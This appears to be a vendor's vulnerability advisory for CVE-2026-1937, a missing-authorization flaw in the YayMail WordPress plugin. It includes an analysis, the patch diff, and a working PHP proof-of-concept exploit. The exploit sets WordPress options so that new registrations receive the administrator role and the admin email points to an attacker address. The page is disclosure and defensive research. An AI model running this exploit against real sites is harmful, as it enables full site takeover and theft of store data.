Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1937: YayMail <= 4.3.2 – Missing Authorization to Authenticated (Shop Manager+) Arbitrary Options Update via 'yaymail_import_state' AJAX Action (yaymail)

CVE ID CVE-2026-1937
Plugin yaymail
Severity Critical (CVSS 9.8)
CWE 862
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1937:
The vulnerability is a missing authorization flaw in the YayMail – WooCommerce Email Customizer WordPress plugin, affecting versions up to and including 4.3.2. It allows authenticated attackers with Shop Manager-level permissions to update arbitrary WordPress options via the ‘yaymail_import_state’ AJAX action, leading to privilege escalation. The CVSS 9.8 score reflects the high impact of this authorization bypass.

Atomic Edge research identified the root cause in the permission_callback() method within the file yaymail/src/License/RestAPI.php. The vulnerable method returned ‘true’ without verifying user capabilities, granting unrestricted access to the REST API endpoint handling the import_state functionality. This missing capability check allowed any authenticated user to trigger the import operation.

The exploitation method involves an authenticated attacker with Shop Manager access sending a POST request to the WordPress REST API endpoint /wp-json/yaymail/v1/import-state. The attacker crafts a malicious JSON payload containing arbitrary WordPress options to update, such as ‘default_role’ set to ‘administrator’ and ‘users_can_register’ set to 1. This payload is processed by the exec_import_state() callback function, which calls update_option() without proper authorization validation.

The patch modifies the permission_callback() method in yaymail/src/License/RestAPI.php at line 140, changing the return value from ‘true’ to ‘current_user_can( ‘manage_options’ )’. This restricts access to users with administrator-level capabilities only. The fix ensures that only users who can manage WordPress options can execute the import_state functionality, preventing unauthorized option modifications.

Successful exploitation enables complete site compromise. Attackers can modify the default user registration role to administrator, enable user registration, and create new administrative accounts. This grants full control over the WordPress installation, allowing data theft, plugin/theme installation, code execution, and complete site takeover. The arbitrary option update capability can also disable security plugins, modify payment settings in WooCommerce stores, or alter any WordPress configuration value.

Differential between vulnerable and patched code

Code Diff
--- a/yaymail/src/Ajax.php
+++ b/yaymail/src/Ajax.php
@@ -231,6 +231,11 @@
         if ( ! wp_verify_nonce( $nonce, 'yaymail_frontend_nonce' ) ) {
             return wp_send_json_error( [ 'mess' => __( 'Verify nonce failed', 'yaymail' ) ] );
         }
+
+        if ( ! current_user_can( 'install_plugins' ) && ! current_user_can( 'activate_plugins' ) ) {
+            return wp_send_json_error( [ 'mess' => __( 'You do not have permission to install plugins', 'yaymail' ) ] );
+        }
+
         try {
             $is_installed = $this->process_plugin_installer( 'yaysmtp' );

--- a/yaymail/src/Controllers/AddonController.php
+++ b/yaymail/src/Controllers/AddonController.php
@@ -21,6 +21,10 @@
         $this->init_hooks();
     }

+    protected function permission_callback_admin_only() {
+        return current_user_can( 'activate_plugins' );
+    }
+
     protected function init_hooks() {
         register_rest_route(
             YAYMAIL_REST_NAMESPACE,
@@ -40,7 +44,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_activate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
@@ -51,7 +55,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_deactivate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
--- a/yaymail/src/Elements/OrderDetails.php
+++ b/yaymail/src/Elements/OrderDetails.php
@@ -265,6 +265,21 @@
                     'default_value' => esc_html__( 'Discount:', 'woocommerce' ),
                     'type'          => 'content',
                 ],
+                'custom_footer_rows_breaker'      => [
+                    'component' => 'LineBreaker',
+                ],
+                'custom_footer_rows_group'        => [
+                    'component'   => 'GroupDefinition',
+                    'title'       => __( 'Custom Footer Rows', 'yaymail' ),
+                    'description' => __( 'Add custom rows to the order totals footer', 'yaymail' ),
+                ],
+                'custom_footer_rows'              => [
+                    'value_path'    => 'custom_footer_rows',
+                    'component'     => 'CustomFooterRowsEditor',
+                    'title'         => __( 'Custom Footer Rows', 'yaymail' ),
+                    'default_value' => isset( $attributes['custom_footer_rows'] ) ? $attributes['custom_footer_rows'] : [],
+                    'type'          => 'content',
+                ],
             ],
         ];
     }
--- a/yaymail/src/Engine/Backend/SettingsPage.php
+++ b/yaymail/src/Engine/Backend/SettingsPage.php
@@ -271,6 +271,7 @@
             wp_dequeue_script( 'real-media-library-lite-rml' );
             wp_dequeue_style( 'real-media-library-rml' );
             wp_dequeue_script( 'real-media-library-rml' );
+            wp_dequeue_style( 'real-category-library-admin' );
         }
     }
 }
--- a/yaymail/src/License/RestAPI.php
+++ b/yaymail/src/License/RestAPI.php
@@ -140,6 +140,6 @@
     }

     public function permission_callback() {
-        return true;
+        return current_user_can( 'manage_options' );
     }
 }
--- a/yaymail/src/Models/MigrationModel.php
+++ b/yaymail/src/Models/MigrationModel.php
@@ -141,7 +141,10 @@

             // Restore backed-up options
             foreach ( $backup['options'] as $option ) {
-                update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                // Only restore options that belong to YayMail (same pattern as export)
+                if ( strpos( $option->option_name, 'yaymail' ) !== false ) {
+                    update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                }
             }

             // Remove the succeeded migration log from db
--- a/yaymail/src/Models/TemplateModel.php
+++ b/yaymail/src/Models/TemplateModel.php
@@ -13,6 +13,7 @@
 use YayMailPostTypesTemplatePostType;
 use YayMailShortcodesShortcodesExecutor;
 use YayMailSupportedPlugins;
+use YayMailUtilsTemplateHelpers;

 /**
  * Template Model
@@ -290,7 +291,8 @@

     public static function update( $template_id, $data, $is_save_revision = false ) {
         if ( isset( $data['elements'] ) && is_array( $data['elements'] ) && isset( self::$meta_keys['elements'] ) ) {
-            update_post_meta( $template_id, self::$meta_keys['elements'], $data['elements'] );
+            $elements_data = TemplateHelpers::sanitize_elements_recursive( $data['elements'] );
+            update_post_meta( $template_id, self::$meta_keys['elements'], $elements_data );
         }

         if ( ! empty( $data['background_color'] ) && isset( self::$meta_keys['background_color'] ) ) {
--- a/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
+++ b/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
@@ -251,6 +251,7 @@
         $show_sku           = isset( $yaymail_settings['show_product_sku'] ) ? boolval( $yaymail_settings['show_product_sku'] ) : false;
         $show_des           = isset( $yaymail_settings['show_product_description'] ) ? boolval( $yaymail_settings['show_product_description'] ) : false;
         $show_regular_price = isset( $yaymail_settings['show_product_regular_price'] ) ? boolval( $yaymail_settings['show_product_regular_price'] ) : false;
+        $show_hyper_links   = isset( $yaymail_settings['show_product_hyper_links'] ) ? boolval( $yaymail_settings['show_product_hyper_links'] ) : false;
         $image_style        = 'left' === $image_position ? $this->get_styles_product_image() . $style_image_position_left : $this->get_styles_product_image();

         $image_url             = wc_placeholder_img_src();
@@ -404,29 +405,150 @@
     }

     public function render_item_totals( $structure_footer ) {
+        $custom_rows = isset( $this->element_data['custom_footer_rows'] )
+            ? $this->element_data['custom_footer_rows']
+            : [];
+
+        // Group custom rows by zone
+        $rows_by_zone = [
+            'before_all'     => [],
+            'after_subtotal' => [],
+            'before_total'   => [],
+            'after_total'    => [],
+        ];
+
+        foreach ( $custom_rows as $row ) {
+            // Check if row is enabled - handle both boolean and string values
+            $is_enabled = isset( $row['enabled'] ) ? boolval( $row['enabled'] ) : false;
+
+            if ( $is_enabled && isset( $row['zone'] ) ) {
+                $zone = $row['zone'];
+                if ( isset( $rows_by_zone[ $zone ] ) ) {
+                    $rows_by_zone[ $zone ][] = $row;
+                }
+            }
+        }
+
+        // Sort each zone by order
+        foreach ( $rows_by_zone as &$zone_rows ) {
+            usort(
+                $zone_rows,
+                function( $a, $b ) {
+                    $order_a = isset( $a['order'] ) ? intval( $a['order'] ) : 0;
+                    $order_b = isset( $b['order'] ) ? intval( $b['order'] ) : 0;
+                    return $order_a - $order_b;
+                }
+            );
+        }
+
         $index = 0;
+
+        // ZONE 1: Before all
+        foreach ( $rows_by_zone['before_all'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
+        }
+
+        // Process standard rows
         foreach ( $this->item_totals as $key => $total ) {
-            if ( in_array( $key, $structure_footer['hidden_rows'], true ) ) {
+            if ( in_array( $key, $structure_footer['hidden_rows'] ?? [], true ) ) {
                 continue;
             }
-            ++$index;
-            $tr_class              = "yaymail-order-detail-row-{$key}";
-            $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
-            $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
-            $style                 = $this->get_styles() . TemplateHelpers::get_style(
-                [
-                    'border-top-width' => 1 === $index ? '4px' : '0',
-                ]
-            );
-            ?>
-            <tr class="<?php echo esc_attr( $tr_class ); ?>">
-                <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
-                <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
-            </tr>
-            <?php
+
+            // ZONE 2: After subtotal
+            if ( 'cart_subtotal' === $key ) {
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                foreach ( $rows_by_zone['after_subtotal'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                continue;
+            }
+
+            // ZONE 3: Before total
+            if ( 'order_total' === $key ) {
+                foreach ( $rows_by_zone['before_total'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                continue;
+            }
+
+            // Other rows - render normally
+            $this->render_standard_row( $key, $total, $index++, $structure_footer );
+        }//end foreach
+
+        // ZONE 4: After all (after total)
+        foreach ( $rows_by_zone['after_total'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
         }
     }

+    /**
+     * Render a standard order total row
+     *
+     * @param string $key              The order total key.
+     * @param array  $total            The order total data.
+     * @param int    $index            The row index.
+     * @param array  $structure_footer The footer structure data.
+     */
+    private function render_standard_row( $key, $total, $index, $structure_footer ) {
+        $tr_class              = "yaymail-order-detail-row-{$key}";
+        $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
+        $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
+        $style                 = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+        $heading_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+        ?>
+        <tr class="<?php echo esc_attr( $tr_class ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $heading_style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $content_style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
+        </tr>
+        <?php
+    }
+
+    /**
+     * Render a custom footer row
+     *
+     * @param array $custom_row       The custom row data.
+     * @param int   $index            The row index.
+     * @param array $structure_footer The footer structure data.
+     */
+    private function render_custom_row( $custom_row, $index, $structure_footer ) {
+        // Process shortcodes in label and value
+        $label = isset( $custom_row['label'] ) ? do_shortcode( $custom_row['label'] ) : '';
+        $value = isset( $custom_row['value'] ) ? do_shortcode( $custom_row['value'] ) : '';
+
+        if ( empty( $label ) && empty( $value ) ) {
+            return;
+        }
+
+        $style = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+
+        $heading_style = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+
+        $row_id = isset( $custom_row['id'] ) ? esc_attr( $custom_row['id'] ) : '';
+        ?>
+        <tr class="yaymail-order-detail-row-custom custom-row-<?php echo esc_attr( $row_id ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>"
+                style="<?php echo esc_attr( $heading_style ); ?>">
+                <?php echo wp_kses_post( $label ); ?>
+            </th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>"
+                style="<?php echo esc_attr( $content_style ); ?>">
+                <?php echo wp_kses_post( $value ); ?>
+            </td>
+        </tr>
+        <?php
+    }
+
     public function render_customer_note() {
         if ( ! empty( $this->order_note ) ) :
             $style = $this->get_styles();
--- a/yaymail/src/Utils/TemplateHelpers.php
+++ b/yaymail/src/Utils/TemplateHelpers.php
@@ -339,4 +339,27 @@
             $border['color']
         );
     }
+
+    public static function sanitize_elements_recursive( $elements ) {
+        if ( ! is_array( $elements ) ) {
+            return [];
+        }
+
+        foreach ( $elements as &$element ) {
+            if ( isset( $element['data']['rich_text'] ) ) {
+                $element['data']['rich_text'] = yaymail_kses_post( $element['data']['rich_text'], $allowed );
+            }
+
+            if ( isset( $element['data']['title'] ) ) {
+                $element['data']['title'] = yaymail_kses_post( $element['data']['title'] );
+            }
+
+            // Recursive cho nested elements
+            if ( isset( $element['children'] ) ) {
+                $element['children'] = self::sanitize_elements_recursive( $element['children'] );
+            }
+        }
+
+        return $elements;
+    }
 }
--- a/yaymail/templates/elements/order-details.php
+++ b/yaymail/templates/elements/order-details.php
@@ -120,6 +120,5 @@
 <?php
 $element_content = ob_get_contents();
 ob_end_clean();
-$element_content .= do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' );
-
+$element_content .= yaymail_kses_post( do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' ) );
 TemplateHelpers::wrap_element_content( $element_content, $element, $wrapper_style );
--- a/yaymail/templates/elements/text.php
+++ b/yaymail/templates/elements/text.php
@@ -35,7 +35,7 @@
 ob_start();
 ?>

-    <div style="<?php echo esc_attr( $text_style ); ?>"><?php echo do_shortcode( $data['rich_text'] ); ?></div>
+    <div style="<?php echo esc_attr( $text_style ); ?>"><?php yaymail_kses_post_e( do_shortcode( $data['rich_text'] ) ); ?></div>
 <?php
 $element_content = ob_get_clean();

--- a/yaymail/templates/emails/before-email-content.php
+++ b/yaymail/templates/emails/before-email-content.php
@@ -14,8 +14,8 @@
                 h1{ font-family:inherit;text-shadow:unset;text-align:inherit;}
                 h2,h3{ font-family:inherit;color:inherit;text-align:inherit;}
                 .yaymail-inline-block {display: inline-block;}
-            .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
-
+                .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
+                .yaymail-order-details-table .wc-item-meta {list-style-type: none;}
             /**
             * Media queries are not supported by all email clients, however they do work on modern mobile
             * Gmail clients and can help us achieve better consistency there.
--- a/yaymail/vendor/autoload.php
+++ b/yaymail/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/yaymail/vendor/composer/InstalledVersions.php
+++ b/yaymail/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/yaymail/vendor/composer/autoload_static.php
+++ b/yaymail/vendor/composer/autoload_static.php
@@ -11,11 +11,11 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'Y' =>
+        'Y' =>
         array (
             'YayMail\' => 8,
         ),
-        'T' =>
+        'T' =>
         array (
             'TenQuality\WP\Database\' => 23,
             'TenQuality\Data\' => 16,
@@ -23,15 +23,15 @@
     );

     public static $prefixDirsPsr4 = array (
-        'YayMail\' =>
+        'YayMail\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
-        'TenQuality\WP\Database\' =>
+        'TenQuality\WP\Database\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/wp-query-builder/src',
         ),
-        'TenQuality\Data\' =>
+        'TenQuality\Data\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/php-data-model/src',
         ),
--- a/yaymail/vendor/composer/installed.php
+++ b/yaymail/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+        'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+            'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/yaymail/vendor/composer/platform_check.php
+++ b/yaymail/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }
--- a/yaymail/yaymail.php
+++ b/yaymail/yaymail.php
@@ -3,12 +3,12 @@
  * Plugin Name: YayMail - WooCommerce Email Customizer
  * Plugin URI: https://yaycommerce.com/yaymail-woocommerce-email-customizer/
  * Description: Create awesome transactional emails with a drag and drop email builder
- * Version: 4.3.2
+ * Version: 4.3.3
  * Author: YayCommerce
  * Author URI: https://yaycommerce.com
  * Text Domain: yaymail
  * WC requires at least: 3.0.0
- * WC tested up to: 10.3.0
+ * WC tested up to: 10.5.1
  * Domain Path: /i18n/languages/
  *
  * @package YayMail
@@ -27,7 +27,7 @@
 }

 if ( ! defined( 'YAYMAIL_VERSION' ) ) {
-    define( 'YAYMAIL_VERSION', '4.3.2' );
+    define( 'YAYMAIL_VERSION', '4.3.3' );
 }

 if ( ! defined( 'YAYMAIL_PLUGIN_URL' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1937 - YayMail <= 4.3.2 - Missing Authorization to Authenticated (Shop Manager+) Arbitrary Options Update via 'yaymail_import_state' AJAX Action

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'shop_manager';
$password = 'password123';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a temporary cookie file
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1937');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);

// Step 2: Extract nonce from admin page
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, 0);
$admin_page = curl_exec($ch);

// Extract REST API nonce (typically in wpApiSettings)
preg_match('/"rest_nonce":"([a-f0-9]+)"/', $admin_page, $matches);
$rest_nonce = $matches[1] ?? '';

if (empty($rest_nonce)) {
    echo "Failed to extract REST API noncen";
    exit;
}

// Step 3: Exploit the vulnerability via REST API
$rest_url = $target_url . '/wp-json/yaymail/v1/import-state';

// Malicious payload to update WordPress options for privilege escalation
$payload = json_encode([
    'options' => [
        (object) [
            'option_name' => 'default_role',
            'option_value' => 'administrator'
        ],
        (object) [
            'option_name' => 'users_can_register',
            'option_value' => '1'
        ],
        (object) [
            'option_name' => 'admin_email',
            'option_value' => 'attacker@example.com'
        ]
    ]
]);

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response: " . $response . "n";

if ($http_code == 200) {
    echo "Vulnerability successfully exploited. WordPress options updated.n";
    echo "Default user role set to 'administrator' and user registration enabled.n";
    echo "Attacker can now register new accounts with administrator privileges.n";
} else {
    echo "Exploit failed or site is patched.n";
}

curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School